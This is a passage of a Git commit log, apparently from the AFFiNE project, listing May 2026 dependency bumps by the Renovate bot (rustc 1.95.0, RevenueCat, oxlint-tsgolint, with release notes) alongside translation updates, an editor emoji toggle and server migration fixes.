♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNzkuMyIsInVwZGF0ZWRJblZlciI6IjQzLjE4NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-24 06:30:01 +08:00
renovate[bot] 4f0d9aff30 chore: bump up rustc version to v1.95.0 (#15009)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | minor | `1.94.0`
→ `1.95.0` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

###
[`v1.95.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1950-2026-04-16)

[Compare
Source](https://redirect.github.com/rust-lang/rust/compare/1.94.1...1.95.0)

\===========================

<a id="1.95-Language"></a>

## Language

- [Stabilize `if let` guards on match
arms](https://redirect.github.com/rust-lang/rust/pull/141295)
- [`irrefutable_let_patterns` lint no longer lints on let
chains](https://redirect.github.com/rust-lang/rust/pull/146832)
- [Support importing path-segment keywords with
renaming](https://redirect.github.com/rust-lang/rust/pull/146972)
- [Stabilize inline assembly for PowerPC and
PowerPC64](https://redirect.github.com/rust-lang/rust/pull/147996)
- [const-eval: be more consistent in the behavior of padding during
typed copies](https://redirect.github.com/rust-lang/rust/pull/148967)
- [Const blocks are no longer evaluated to determine if expressions
involving fallible operations can implicitly be
constant-promoted.](https://redirect.github.com/rust-lang/rust/pull/150557).
Expressions whose ability to implicitly be promoted would depend on the
result of a const block are no longer implicitly promoted.
- [Make operational semantics of pattern matching independent of crate
and module](https://redirect.github.com/rust-lang/rust/pull/150681)

<a id="1.95-Compiler"></a>

## Compiler

- [Stabilize `--remap-path-scope` for controlling the scoping of how
paths get remapped in the resulting
binary](https://redirect.github.com/rust-lang/rust/pull/147611)
- [Apply patches for CVE-2026-6042 and CVE-2026-40200 to vendored
musl](https://redirect.github.com/rust-lang/rust/pull/155171)

<a id="1.95-Platform-Support"></a>

## Platform Support

- [Promote `powerpc64-unknown-linux-musl` to Tier 2 with host
tools](https://redirect.github.com/rust-lang/rust/pull/149962)
- [Promote `aarch64-apple-tvos` to Tier
2](https://redirect.github.com/rust-lang/rust/pull/152021)
- [Promote `aarch64-apple-tvos-sim` to Tier
2](https://redirect.github.com/rust-lang/rust/pull/152021)
- [Promote `aarch64-apple-watchos` to Tier
2](https://redirect.github.com/rust-lang/rust/pull/152021)
- [Promote `aarch64-apple-watchos-sim` to Tier
2](https://redirect.github.com/rust-lang/rust/pull/152021)
- [Promote `aarch64-apple-visionos` to Tier
2](https://redirect.github.com/rust-lang/rust/pull/152021)
- [Promote `aarch64-apple-visionos-sim` to Tier
2](https://redirect.github.com/rust-lang/rust/pull/152021)

Refer to Rust's [platform support page][platform-support-doc]
for more information on Rust's tiered platform support.

[platform-support-doc]:
https://doc.rust-lang.org/rustc/platform-support.html

<a id="1.95-Libraries"></a>

## Libraries

- [`thread::scope`: document how join interacts with TLS
destructors](https://redirect.github.com/rust-lang/rust/pull/149482)
- [Speed up `str::contains` on aarch64 targets with `neon` target
feature enabled by
default](https://redirect.github.com/rust-lang/rust/pull/152176)

<a id="1.95-Stabilized-APIs"></a>

## Stabilized APIs

- [`MaybeUninit<[T; N]>: From<[MaybeUninit<T>;
N]>`](https://doc.rust-lang.org/stable/std/mem/union.MaybeUninit.html#impl-From%3CMaybeUninit%3C%5BT;+N%5D%3E%3E-for-%5BMaybeUninit%3CT%3E;+N%5D)
- [`MaybeUninit<[T; N]>: AsRef<[MaybeUninit<T>;
N]>`](https://doc.rust-lang.org/stable/std/mem/union.MaybeUninit.html#impl-AsRef%3C%5BMaybeUninit%3CT%3E;+N%5D%3E-for-MaybeUninit%3C%5BT;+N%5D%3E)
- [`MaybeUninit<[T; N]>:
AsRef<[MaybeUninit<T>]>`](https://doc.rust-lang.org/stable/std/mem/union.MaybeUninit.html#impl-AsRef%3C%5BMaybeUninit%3CT%3E%5D%3E-for-MaybeUninit%3C%5BT;+N%5D%3E)
- [`MaybeUninit<[T; N]>: AsMut<[MaybeUninit<T>;
N]>`](https://doc.rust-lang.org/beta/std/mem/union.MaybeUninit.html#impl-AsMut%3C%5BMaybeUninit%3CT%3E;+N%5D%3E-for-MaybeUninit%3C%5BT;+N%5D%3E)
- [`MaybeUninit<[T; N]>:
AsMut<[MaybeUninit<T>]>`](https://doc.rust-lang.org/stable/std/mem/union.MaybeUninit.html#impl-AsMut%3C%5BMaybeUninit%3CT%3E%5D%3E-for-MaybeUninit%3C%5BT;+N%5D%3E)
- [`[MaybeUninit<T>; N]: From<MaybeUninit<[T;
N]>>`](https://doc.rust-lang.org/stable/std/mem/union.MaybeUninit.html#impl-From%3C%5BMaybeUninit%3CT%3E;+N%5D%3E-for-MaybeUninit%3C%5BT;+N%5D%3E)
- [`Cell<[T; N]>: AsRef<[Cell<T>;
N]>`](https://doc.rust-lang.org/stable/std/cell/struct.Cell.html#impl-AsRef%3C%5BCell%3CT%3E;+N%5D%3E-for-Cell%3C%5BT;+N%5D%3E)
- [`Cell<[T; N]>:
AsRef<[Cell<T>]>`](https://doc.rust-lang.org/stable/std/cell/struct.Cell.html#impl-AsRef%3C%5BCell%3CT%3E%5D%3E-for-Cell%3C%5BT;+N%5D%3E)
- [`Cell<[T]>:
AsRef<[Cell<T>]>`](https://doc.rust-lang.org/stable/std/cell/struct.Cell.html#impl-AsRef%3C%5BCell%3CT%3E%5D%3E-for-Cell%3C%5BT%5D%3E)
- [`bool:
TryFrom<{integer}>`](https://doc.rust-lang.org/stable/std/primitive.bool.html#impl-TryFrom%3Cu128%3E-for-bool)
-
[`AtomicPtr::update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicPtr.html#method.update)
-
[`AtomicPtr::try_update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicPtr.html#method.try_update)
-
[`AtomicBool::update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicBool.html#method.update)
-
[`AtomicBool::try_update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicBool.html#method.try_update)
-
[`AtomicIn::update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicIsize.html#method.update)
-
[`AtomicIn::try_update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicIsize.html#method.try_update)
-
[`AtomicUn::update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicUsize.html#method.update)
-
[`AtomicUn::try_update`](https://doc.rust-lang.org/stable/std/sync/atomic/struct.AtomicUsize.html#method.try_update)
-
[`cfg_select!`](https://doc.rust-lang.org/stable/std/macro.cfg_select.html)
- [`mod
core::range`](https://doc.rust-lang.org/stable/core/range/index.html)
-
[`core::range::RangeInclusive`](https://doc.rust-lang.org/stable/core/range/struct.RangeInclusive.html)
-
[`core::range::RangeInclusiveIter`](https://doc.rust-lang.org/stable/core/range/struct.RangeInclusiveIter.html)
-
[`core::hint::cold_path`](https://doc.rust-lang.org/stable/core/hint/fn.cold_path.html)
- [`<*const
T>::as_ref_unchecked`](https://doc.rust-lang.org/stable/std/primitive.pointer.html#method.as_ref_unchecked)
- [`<*mut
T>::as_ref_unchecked`](https://doc.rust-lang.org/stable/std/primitive.pointer.html#method.as_ref_unchecked-1)
- [`<*mut
T>::as_mut_unchecked`](https://doc.rust-lang.org/stable/std/primitive.pointer.html#method.as_mut_unchecked)
-
[`Vec::push_mut`](https://doc.rust-lang.org/stable/std/vec/struct.Vec.html#method.push_mut)
-
[`Vec::insert_mut`](https://doc.rust-lang.org/stable/std/vec/struct.Vec.html#method.insert_mut)
-
[`VecDeque::push_front_mut`](https://doc.rust-lang.org/stable/std/collections/struct.VecDeque.html#method.push_front_mut)
-
[`VecDeque::push_back_mut`](https://doc.rust-lang.org/stable/std/collections/struct.VecDeque.html#method.push_back_mut)
-
[`VecDeque::insert_mut`](https://doc.rust-lang.org/stable/std/collections/struct.VecDeque.html#method.insert_mut)
-
[`LinkedList::push_front_mut`](https://doc.rust-lang.org/stable/std/collections/struct.LinkedList.html#method.push_front_mut)
-
[`LinkedList::push_back_mut`](https://doc.rust-lang.org/stable/std/collections/struct.LinkedList.html#method.push_back_mut)
-
[`Layout::dangling_ptr`](https://doc.rust-lang.org/stable/std/alloc/struct.Layout.html#method.dangling_ptr)
-
[`Layout::repeat`](https://doc.rust-lang.org/stable/std/alloc/struct.Layout.html#method.repeat)
-
[`Layout::repeat_packed`](https://doc.rust-lang.org/stable/std/alloc/struct.Layout.html#method.repeat_packed)
-
[`Layout::extend_packed`](https://doc.rust-lang.org/stable/std/alloc/struct.Layout.html#method.extend_packed)

These previously stable APIs are now stable in const contexts:

-
[`fmt::from_fn`](https://doc.rust-lang.org/stable/std/fmt/fn.from_fn.html)
-
[`ControlFlow::is_break`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.is_break)
-
[`ControlFlow::is_continue`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.is_continue)

<a id="1.95-Rustdoc"></a>

## Rustdoc

- [In search results, rank unstable items
lower](https://redirect.github.com/rust-lang/rust/pull/149460)
- [Add new "hide deprecated items" setting in
rustdoc](https://redirect.github.com/rust-lang/rust/pull/151091)

<a id="1.95-Compatibility-Notes"></a>

## Compatibility Notes

- [Array coercions may now result in less inference constraints than
before](https://redirect.github.com/rust-lang/rust/pull/140283)
- Importing `$crate` without renaming, i.e. `use $crate::{self};`, is
now no longer permitted due to stricter error checking for `self`
imports.
- [const-eval: be more consistent in the behavior of padding during
typed copies.](https://redirect.github.com/rust-lang/rust/pull/148967)
In very rare cases, this may cause compilation errors due to bytes from
parts of a pointer ending up in the padding bytes of a `const` or
`static`.
- [A future-incompatibility warning lint
`ambiguous_glob_imported_traits` is now reported when using an
ambiguously glob imported
trait](https://redirect.github.com/rust-lang/rust/pull/149058)
- [Check lifetime bounds of types mentioning only type
parameters](https://redirect.github.com/rust-lang/rust/pull/149389)
- [Report more visibility-related ambiguous import
errors](https://redirect.github.com/rust-lang/rust/pull/149596)
- [Deprecate `Eq::assert_receiver_is_total_eq` and emit future
compatibility warnings on manual
impls](https://redirect.github.com/rust-lang/rust/pull/149978)
- [powerpc64: Use the ELF ABI version set in target spec instead of
guessing](https://redirect.github.com/rust-lang/rust/pull/150468) (fixes
the ELF ABI used by the OpenBSD target)
- Matching on a `#[non_exhaustive]` enum [now reads the discriminant,
even if the enum has only one
variant](https://redirect.github.com/rust-lang/rust/pull/150681). This
can cause closures to capture values that they previously wouldn't.
- `mut ref` and `mut ref mut` patterns, part of the unstable [Match
Ergonomics 2024
RFC](https://redirect.github.com/rust-lang/rust/issues/123076), were
accidentally allowed on stable within struct pattern field shorthand.
These patterns are now correctly feature-gated as unstable in this
position.
- [Add future-compatibility warning for derive helper attributes which
conflict with built-in
attributes](https://redirect.github.com/rust-lang/rust/pull/151152)
- [JSON target
specs](https://doc.rust-lang.org/rustc/targets/custom.html) have been
destabilized and now require `-Z unstable-options` to use. Previously,
they could not be used without the standard library, which has no stable
build mechanism. In preparation for the `build-std` project adding that
support, JSON target specs are being proactively gated to ensure they
remain unstable even if `build-std` is stabilized. Cargo now includes
the `-Z json-target-spec` CLI flag to automatically pass `-Z
unstable-options` to the compiler when needed. See
[#&#8203;150151](https://redirect.github.com/rust-lang/rust/pull/150151),
[#&#8203;151534](https://redirect.github.com/rust-lang/rust/pull/150151),
and
[rust-lang/cargo#16557](https://redirect.github.com/rust-lang/cargo/pull/16557).
- [The arguments of `#[feature]` attributes on invalid targets are now
checked](https://redirect.github.com/rust-lang/rust/issues/153764)

<a id="1.95-Internal-Changes"></a>

## Internal Changes

These changes do not affect any public interfaces of Rust, but they
represent
significant improvements to the performance or internals of rustc and
related
tools.

- [Update to LLVM
22](https://redirect.github.com/rust-lang/rust/pull/150722)

###
[`v1.94.1`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1941-2026-03-26)

[Compare
Source](https://redirect.github.com/rust-lang/rust/compare/1.94.0...1.94.1)

\===========================

<a id="1.94.1"></a>

- [Fix `std::thread::spawn` on
wasm32-wasip1-threads](https://redirect.github.com/rust-lang/rust/pull/153634)
- [Remove new methods added to
`std::os::windows::fs::OpenOptionsExt`](https://redirect.github.com/rust-lang/rust/pull/153491)
The new methods were unstable, but the trait itself is not sealed and so
  cannot be extended with non-default methods.
- [Clippy: fix ICE in
`match_same_arms`](https://redirect.github.com/rust-lang/rust-clippy/pull/16685)
- [Cargo: update tar to
0.4.45](https://redirect.github.com/rust-lang/cargo/pull/16769)
This resolves CVE-2026-33055 and CVE-2026-33056. Users of crates.io are
not affected.
See [blog](https://blog.rust-lang.org/2026/03/21/cve-2026-33056/) for
more details.

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xODUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjE4NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-24 06:29:05 +08:00
SkyLostTR eecd0a2169 feat(i18n): add Turkish translation (#15000)
This pull request introduces support for the Turkish language to the
frontend internationalization system and adds a new pull request
template to standardize PR descriptions. The main changes are grouped
below:

**Internationalization: Turkish Language Support**
* Added `'tr'` (Turkish) to the `Language` type and
`SUPPORTED_LANGUAGES` object in `index.ts`, including its display name,
native name, flag emoji, and resource loader.
[[1]](diffhunk://#diff-ba5f665c3490d0f5acb2cb70f08314c5373137fa8085ab05175047f10cb7fdf8L26-R27)
[[2]](diffhunk://#diff-ba5f665c3490d0f5acb2cb70f08314c5373137fa8085ab05175047f10cb7fdf8R183-R188)
* Updated `i18n-completenesses.json` to include Turkish (`"tr": 6`).

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
  * Turkish language can now be selected in the app.

* **Localization**
* Initial Turkish translations added and translation completeness set to
100%.
* Locale metadata added (display name, original name, flag) for Turkish.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15000?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-24 06:19:06 +08:00
steffenrapp f2980503b4 fix(editor): sorting of page emoji display toggle (#15020)
Fixes the order of the new setting toggle introduced in #14999.
It appeared between "Auto-title new docs with current date" and "New doc
date format" which both belong together.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Style**
* Repositioned the "display add icon option" setting within General
settings for improved interface organization and logical grouping.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15020?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-24 00:06:21 +08:00
steffenrapp 925c95ce88 feat(i18n): update German translation (#15011)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Localization**
  * German language completeness raised to 100%.
* Added German translations for Markdown export/copy labels and success
text, import formats (including Bear backup and Word .docx), editor
settings (auto-date-title formats, add-icon option), AI BYOK
workspace/provider-key UI and notifications, and a recording/importing
UI prompt.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15011?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-22 01:33:38 +08:00
DarkSky 3098b3b14b feat(server): bump models (#15013)
#### PR Dependency Tree


* **PR #15013** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **New Features**
* Expanded AI capabilities with the addition of Gemini 3.5 Flash model,
providing enhanced options for AI-powered features.

* **Updates**
* Updated Claude Sonnet to the latest version for improved performance.
  * Refreshed pro models configuration with optimized selections.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15013?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-21 15:29:00 +08:00
DarkSky dd1cd77ca0 chore(server): improve migration compatibility (#15014)
#### PR Dependency Tree


* **PR #15014** 👈

This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Bug Fixes**
* Remove orphaned legacy subscription and entitlement records during
backfill.
* Repair workspaces missing active owners by promoting eligible members
and cleaning up empty workspaces.
* Skip cloud subscription backfill when target user/workspace no longer
exists to avoid dangling data.

* **Tests**
  * Added tests verifying legacy data cleanup during backfill.
* Added tests verifying workspace ownership repair and migration
behavior.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/15014?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-21 15:28:51 +08:00
Waqar Bin zafar d20dbfd6a2 feat(editor): add page emoji display toggle #14987 (#14999)
This PR adds a display toggle for Page Emoji, so users can choose
whether the add emoji option is shown in the page header when no emoji
is set.

What changed
read editor setting for display add icon option
hide emoji placeholder entry when the setting is disabled
keep existing behavior for readonly mode and for pages that already have
an emoji
Why
This implements the feature request to control Page Emoji visibility and
improves header cleanliness for users who prefer a minimal UI.

Issue
Closes #14093
<img width="1277" height="726" alt="Screenshot 2026-05-19 at 3 44 14 PM"
src="https://github.com/user-attachments/assets/caa29272-35c0-410d-bd54-2e038e4e0db2"
/>
<img width="1511" height="779" alt="Screenshot 2026-05-19 at 3 44 35 PM"
src="https://github.com/user-attachments/assets/3504136a-d34c-45cc-992b-0056b018ff92"
/>

Testing
verified in editable mode:
setting ON: add emoji placeholder is visible when page has no emoji
setting OFF: add emoji placeholder is hidden when page has no emoji
verified in readonly mode:
no emoji: nothing shown
with emoji: existing emoji is shown
verified no regression for selecting/changing/removing emoji
Screenshots
I will attach screenshots in this section.

Quick rule checks before submit

Base branch is canary.
PR title follows conventional format: type(scope): subject.
Scope editor is valid for this repo.
Include Closes #14093 in the body.
Add your screenshots before creating or right after opening the PR.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Added an editor setting to toggle whether the "add icon" option is
shown when creating new documents (default: enabled).
* **User Experience**
* When disabled, the add-icon trigger is hidden for documents that use a
placeholder icon; readonly display remains unchanged.
* **Tests**
  * Updated tests to cover the new setting and toggle behavior.
* **Localization**
* Added translations and updated i18n typings and completeness metrics.

<!-- review_stack_entry_start -->

[![Review Change
Stack](https://storage.googleapis.com/coderabbit_public_assets/review-stack-in-coderabbit-ui.svg)](https://app.coderabbit.ai/change-stack/toeverything/AFFiNE/pull/14999?utm_source=github_walkthrough&utm_medium=github&utm_campaign=change_stack)

<!-- review_stack_entry_end -->
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-20 22:20:12 +08:00
renovate[bot] 41145961f9 chore: bump up RevenueCat/purchases-ios-spm version to from: "5.73.0" (#15008)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
|
[RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm)
| minor | `from: "5.66.0"` → `from: "5.73.0"` |

---

### Release Notes

<details>
<summary>RevenueCat/purchases-ios-spm
(RevenueCat/purchases-ios-spm)</summary>

###
[`v5.73.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5730)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.72.0...5.73.0)

#### 5.73.0

###
[`v5.72.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5720)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.71.0...5.72.0)

#### 5.72.0

###
[`v5.71.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5710)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.70.0...5.71.0)

#### 5.71.0

###
[`v5.70.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5700)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.69.0...5.70.0)

#### 5.70.0

###
[`v5.69.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5690)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.68.0...5.69.0)

#### 5.69.0

###
[`v5.68.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5680)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.67.2...5.68.0)

#### 5.68.0

###
[`v5.67.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5672)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.67.1...5.67.2)

#### 5.67.2

###
[`v5.67.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5671)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.67.0...5.67.1)

#### 5.67.1

###
[`v5.67.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/blob/HEAD/CHANGELOG.md#5670)

[Compare
Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.66.0...5.67.0)

#### 5.67.0

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xODUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjE4NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-20 18:41:32 +08:00
DarkSky 1f2119e273 fix: migration timeout 2026-05-20 18:39:08 +08:00
renovate[bot] 6e97aff7ba chore: bump up oxlint-tsgolint version to ^0.23.0 (#15007)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [oxlint-tsgolint](https://redirect.github.com/oxc-project/tsgolint) |
[`^0.19.0` →
`^0.23.0`](https://renovatebot.com/diffs/npm/oxlint-tsgolint/0.19.0/0.23.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint-tsgolint/0.23.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint-tsgolint/0.19.0/0.23.0?slim=true)
|

---

### Release Notes

<details>
<summary>oxc-project/tsgolint (oxlint-tsgolint)</summary>

###
[`v0.23.0`](https://redirect.github.com/oxc-project/tsgolint/releases/tag/v0.23.0)

[Compare
Source](https://redirect.github.com/oxc-project/tsgolint/compare/v0.22.1...v0.23.0)

#### What's Changed

- chore(deps): update crate-ci/typos action to v1.45.2 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;915](https://redirect.github.com/oxc-project/tsgolint/pull/915)
- feat: add skill for upgrading typescript-go by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;918](https://redirect.github.com/oxc-project/tsgolint/pull/918)
- chore(deps): update pnpm to v10.33.2 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;921](https://redirect.github.com/oxc-project/tsgolint/pull/921)
- chore: update typescript-go submodule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;922](https://redirect.github.com/oxc-project/tsgolint/pull/922)
- fix: attach tsconfig path to diagnostics by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;923](https://redirect.github.com/oxc-project/tsgolint/pull/923)
- fix(prefer-nullish-coalescing): parenthesize mixed logical fixes by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;924](https://redirect.github.com/oxc-project/tsgolint/pull/924)
- tests(return-await): cover non-async arrow functions by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;926](https://redirect.github.com/oxc-project/tsgolint/pull/926)
- chore(deps): update github.com/go-json-experiment/json digest to
[`b6187a3`](https://redirect.github.com/oxc-project/tsgolint/commit/b6187a3)
by [@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;927](https://redirect.github.com/oxc-project/tsgolint/pull/927)
- chore(deps): update github actions by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;928](https://redirect.github.com/oxc-project/tsgolint/pull/928)
- chore(deps): update crate-ci/typos action to v1.46.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;929](https://redirect.github.com/oxc-project/tsgolint/pull/929)
- chore(deps): update module github.com/dlclark/regexp2 to v2 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;930](https://redirect.github.com/oxc-project/tsgolint/pull/930)
- chore: update typescript-go submodule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;931](https://redirect.github.com/oxc-project/tsgolint/pull/931)
- chore(deps): update typescript-go digest to
[`48e2953`](https://redirect.github.com/oxc-project/tsgolint/commit/48e2953)
by [@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;933](https://redirect.github.com/oxc-project/tsgolint/pull/933)
- chore(deps): update typescript-go digest to
[`5eb880f`](https://redirect.github.com/oxc-project/tsgolint/commit/5eb880f)
by [@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;936](https://redirect.github.com/oxc-project/tsgolint/pull/936)
- fix(no-misused-promises): handle empty JSX attributes by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;938](https://redirect.github.com/oxc-project/tsgolint/pull/938)
- fix(no-unsafe-enum-comparison): flag string literal unions by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;937](https://redirect.github.com/oxc-project/tsgolint/pull/937)
- chore(deps): update typescript-go digest to
[`e1f8f97`](https://redirect.github.com/oxc-project/tsgolint/commit/e1f8f97)
by [@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;939](https://redirect.github.com/oxc-project/tsgolint/pull/939)
- chore(deps): update typescript-go digest to
[`092b34f`](https://redirect.github.com/oxc-project/tsgolint/commit/092b34f)
by [@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;940](https://redirect.github.com/oxc-project/tsgolint/pull/940)
- chore: configure typescript-go renovate schedule by
[@&#8203;camc314](https://redirect.github.com/camc314) in
[#&#8203;941](https://redirect.github.com/oxc-project/tsgolint/pull/941)
- chore(deps): update github actions by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;945](https://redirect.github.com/oxc-project/tsgolint/pull/945)
- chore(deps): update dependency dprint-typescript to v0.96.0 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;947](https://redirect.github.com/oxc-project/tsgolint/pull/947)
- chore(deps): update gomod by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
